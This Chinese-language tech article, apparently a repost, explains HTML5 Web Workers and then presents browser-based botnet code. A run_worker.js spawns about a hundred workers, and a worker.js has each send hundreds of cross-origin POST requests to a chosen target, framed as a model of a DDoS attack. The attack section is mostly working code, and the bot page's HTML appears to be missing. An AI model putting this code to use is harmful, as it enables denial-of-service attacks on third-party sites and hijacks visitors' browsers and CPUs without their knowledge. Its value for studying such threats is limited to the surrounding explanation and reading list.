栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > Web开发 > JavaScript

Web Worker应用之CORS攻击实现botnet僵尸网络节点攻击

JavaScript 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Web Worker应用之CORS攻击实现botnet僵尸网络节点攻击

Web workers是HTML5标准提出的特性。目前各大浏览器的最新版本都已支持此功能。

Web workers的作用

Javascript语言是一个单线程的语言,所有任务都只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着,这就造成了阻塞。Web workers可以解决这个问题。

Web worker可以为JS创建多线程环境,将一些任务分配给web worker运行。
在不影响主线程运行的同时,worker线程在后台运行,二者互不干扰。
可以将一些计算密集型或者高延迟的任务,交给web worker线程分担,从而缓解了主线程(UI交互)的阻塞和延迟。

Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。

创建Worker线程
var worker = new Worker('work.js');

只要在主页面加上一句new Worker(‘work.js’),那么work.js就会另外开辟一个心的线程在主页的后台运行,主线程和新线程之间数据交换的接口使用postMessage()和onMessage()进行通信。

Web Worker功能很强大,但无法访问DOM API。

Web Worker不会导致浏览器UI停止响应,短暂的Worker操作不会让用户察觉,但如果是长时间大量的worker运算操作,则会消耗CPU周期,使系统变慢,用户可能会看到CPU始终保持在高位。

Web worker+CORS

后台运行web worker加上跨域请求CORS,可以实现网络僵尸Botnet攻击。

每个僵尸节点浏览器请求的页面代码:






	

run_worker.js代码控制运行的worker数量,关键代码如下:

var worker_loc='worker.js';
var workers = new Array();
var i=0;
var noWorker = typeof Worker == "undefined"  ? true : false;
if(!noWorker){
    try {
   for(i=0;i<=100;i++){
 workers[i]=new Worker(worker_loc);
 workers[i].postMessage(target);    
  }
     } catch (e) {
  //comment out in release
  e=e+""
  alert(e);
  if(e.indexOf("Worker is not enabled")!= -1) {
      noWorker = true
  }
     }
} 

worker.js代码:后台发送大量的跨域POST请求(CORS):

// ...
function makeRequest () {
    //make a new URL and request it via POST
    var fullUrl=makeUrl();
    var httpRequest= new XMLHttpRequest();
    httpRequest.open("POST", fullUrl, true);
    httpRequest.setRequestHeader("Content-Type", "text/plain; charset=uft-8");
    httpRequest.onreadystatechange=infoReceived;
    httpRequest.onerror=err;
    httpRequest.send(post_data);
}
function dos(){
    var i=0;
    for(i=0;i<500;i++){
 makeRequest();
     }
}
self.onmessage=function(e){
    base = e.data;
    dos();
}
//...

通过这样一个事例模型,每个僵尸节点的浏览器将会高效地发送大量请求,如果能控制成千上万个僵尸节点,那么这样的DDos攻击威力就比较大了。

更多阅读:

Web Worker 使用教程
Browser as Botnet, or the Coming War on Your Web Browser
Assessing the threat of web worker distributed attacks

转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号